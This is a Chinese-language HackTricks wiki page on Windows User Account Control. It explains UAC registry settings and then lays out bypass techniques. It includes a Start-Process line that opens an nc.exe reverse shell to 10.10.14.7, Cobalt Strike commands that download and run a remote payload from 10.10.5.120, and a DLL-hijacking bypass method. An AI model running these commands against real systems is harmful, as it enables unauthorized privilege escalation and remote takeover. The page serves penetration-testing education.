hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

19 KiB
Raw Blame History

UAC - 用户账户控制

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

用户账户控制 (UAC) 是一个功能,它启用了提升活动的同意提示。应用程序具有不同的integrity级别,具有高级别的程序可以执行可能危害系统的任务。当UAC启用时应用程序和任务始终在非管理员账户的安全上下文下运行,除非管理员明确授权这些应用程序/任务以管理员级别的访问权限在系统上运行。它是一个便利功能,可以保护管理员免受意外更改,但不被视为安全边界。

有关完整性级别的更多信息:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

当UAC到位时管理员用户会获得两个令牌一个标准用户密钥用于以常规级别执行常规操作以及一个具有管理员权限的密钥。

页面深入讨论了UAC的工作原理包括登录过程、用户体验和UAC架构。管理员可以使用安全策略来配置UAC的工作方式以适应其组织在本地级别使用secpol.msc或者通过在Active Directory域环境中的组策略对象GPO配置和推送。各种设置在此处详细讨论。有10个组策略设置可以为UAC设置。下表提供了更多细节

组策略设置 注册表键 默认设置
用户账户控制:内置管理员账户的管理员批准模式 FilterAdministratorToken 禁用
用户账户控制允许UIAccess应用程序在不使用安全桌面的情况下提示提升 EnableUIADesktopToggle 禁用
用户账户控制:管理员批准模式下管理员的提升提示行为 ConsentPromptBehaviorAdmin 对非Windows二进制文件提示同意
用户账户控制:标准用户的提升提示行为 ConsentPromptBehaviorUser 在安全桌面上提示凭据
用户账户控制:检测应用程序安装并提示提升 EnableInstallerDetection 启用(家庭版默认)禁用(企业版默认)
用户账户控制:仅提升已签名并验证的可执行文件 ValidateAdminCodeSignatures 禁用
用户账户控制仅提升安装在安全位置的UIAccess应用程序 EnableSecureUIAPaths 启用
用户账户控制:以管理员批准模式运行所有管理员 EnableLUA 启用
用户账户控制:在提示提升时切换到安全桌面 PromptOnSecureDesktop 启用
用户账户控制:将文件和注册表写入失败虚拟化到每个用户的位置 EnableVirtualization 启用

UAC绕过理论

如果用户属于 管理员组,某些程序会自动提升。这些二进制文件在其_清单中具有autoElevate选项,值为True_。二进制文件还必须由Microsoft签名

因此,为了绕过 UAC(从中等完整性级别提升到高),一些攻击者使用这类二进制文件来执行任意代码,因为它将从高完整性级别进程执行。

您可以使用Sysinternals的工具_sigcheck.exe_ 检查二进制文件的_清单。您可以使用_Process Explorer_或_Process MonitorSysinternals的工具查看进程的完整性级别

检查UAC

要确认UAC是否启用请执行

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

如果是**1则UAC处于激活状态,如果是0或者不存在**则UAC处于非激活状态。

然后,检查配置了哪个级别

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 如果 0UAC不会提示如同禁用
  • 如果 1 管理员需要输入用户名和密码来以高权限执行二进制文件(在安全桌面上)
  • 如果 2始终通知我UAC将始终要求管理员在尝试以高权限执行某些操作时确认在安全桌面上
  • 如果 3 类似于 1 但不必在安全桌面上
  • 如果 4 类似于 2 但不必在安全桌面上
  • 如果 5默认它会要求管理员确认运行非Windows二进制文件以高权限

然后,你需要查看 LocalAccountTokenFilterPolicy 的值
如果值是 0,那么,只有 RID 500 用户(内置管理员)能够执行不经UAC的管理员任务,如果是 1"管理员" 组内的所有账户都可以执行它们。

最后,查看键 FilterAdministratorToken 的值
如果 0(默认),内置管理员账户可以执行远程管理任务,如果是 1 内置管理员账户不能执行远程管理任务,除非 LocalAccountTokenFilterPolicy 设置为 1

总结

  • 如果 EnableLUA=0不存在任何人都没有UAC
  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=1任何人都没有UAC
  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=0FilterAdministratorToken=0RID 500内置管理员没有UAC
  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=0FilterAdministratorToken=1每个人都有UAC

所有这些信息可以使用 metasploit 模块收集:post/windows/gather/win_privs

你也可以检查你的用户所在的组并获取完整性级别:

net user %username%
whoami /groups | findstr Level

UAC 绕过

{% hint style="info" %} 请注意如果您可以图形化地访问受害者UAC 绕过是直截了当的,因为当 UAS 提示出现时,您可以简单地点击“是”。 {% endhint %}

在以下情况下需要 UAC 绕过:UAC 被激活,您的进程在中等完整性上下文中运行,且您的用户属于管理员组

重要的是要提到,如果 UAC 处于最高安全级别(始终),绕过 UAC 要比在任何其他级别(默认)更难

UAC 已禁用

如果 UAC 已经被禁用(ConsentPromptBehaviorAdmin0),您可以使用类似的方法执行具有管理员权限的反向 shell(高完整性级别):

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC绕过与令牌复制

非常基础的UAC“绕过”完整文件系统访问

如果你拥有一个用户的shell而该用户位于Administrators组中你可以通过SMB文件系统挂载C$共享到本地新磁盘,你将能够访问文件系统内的所有内容甚至包括Administrator的主文件夹

{% hint style="warning" %} 看起来这个技巧已经不再有效 {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

使用 Cobalt Strike 绕过 UAC

如果 UAC 没有设置为最高安全级别Cobalt Strike 技术才会有效

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploit 也有多个模块用于绕过 UAC

KRBUACBypass

文档和工具在 https://github.com/wh0amitz/KRBUACBypass

UAC 绕过漏洞利用

UACME 是多个UAC绕过漏洞的编译集合。请注意您需要使用visual studio或msbuild编译UACME。编译将创建多个可执行文件(如 Source\Akagi\outout\x64\Debug\Akagi.exe),您需要知道您需要哪一个
您应该小心,因为某些绕过会提示其他程序,这将警告 用户有事情正在发生。

UACME有从每种技术开始有效的构建版本。您可以搜索影响您版本的技术:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0
此外,使用[此页面](https://en.wikipedia.org/wiki/Windows_10_version_history)您可以从构建版本中获取Windows发布`1607`。

#### 更多UAC绕过

**所有**在此处使用的技术绕过AUC **需要**与受害者有一个**完全交互式的shell**常见的nc.exe shell是不够的。

您可以使用**meterpreter**会话获得。迁移到一个**进程**,其**Session**值等于**1**

![](<../../.gitbook/assets/image (96).png>)

(_explorer.exe_ 应该可以工作)

### 使用GUI绕过UAC

如果您可以访问**GUI您只需在收到UAC提示时接受它**您实际上不需要绕过它。因此获取对GUI的访问将允许您绕过UAC。

此外如果您获得某人正在使用的GUI会话可能通过RDP那么将有一些**工具将以管理员身份运行**,您可以从中**运行**例如**cmd**作为管理员直接而不会再次被UAC提示如[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更加**隐蔽**。

### 嘈杂的暴力破解UAC绕过

如果您不在乎制造噪音,您可以始终**运行类似** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的东西,它会**要求提升权限直到用户接受它**。

### 您自己的绕过 - 基本UAC绕过方法论

如果您查看**UACME**,您会注意到**大多数UAC绕过都是滥用Dll劫持漏洞**主要是在_C:\Windows\System32_上写入恶意dll。[阅读此内容以了解如何找到Dll劫持漏洞](../windows-local-privilege-escalation/dll-hijacking.md)。

1. 找到一个将**自动提升**的二进制文件(检查当它被执行时它在高完整性级别中运行)。
2. 使用procmon找到可能对**DLL劫持**易受攻击的“**NAME NOT FOUND**”事件。
3. 您可能需要将DLL**写入**一些**受保护的路径**如C:\Windows\System32您没有写入权限。您可以使用以下方法绕过此限制
   1. **wusa.exe**Windows 7,8 和 8.1。它允许在受保护的路径内提取CAB文件的内容因为这个工具是从高完整性级别执行的2. **IFileOperation**Windows 10。
4. 准备一个**脚本**来复制您的DLL到受保护的路径并执行易受攻击且自动提升的二进制文件。

### 另一种UAC绕过技术

包括监视**自动提升的二进制文件**是否尝试从**注册表**中**读取**要**执行**的**二进制文件**或**命令**的**名称/路径**(如果二进制文件在**HKCU**内搜索此信息则更有趣)。

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>

支持HackTricks的其他方式

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>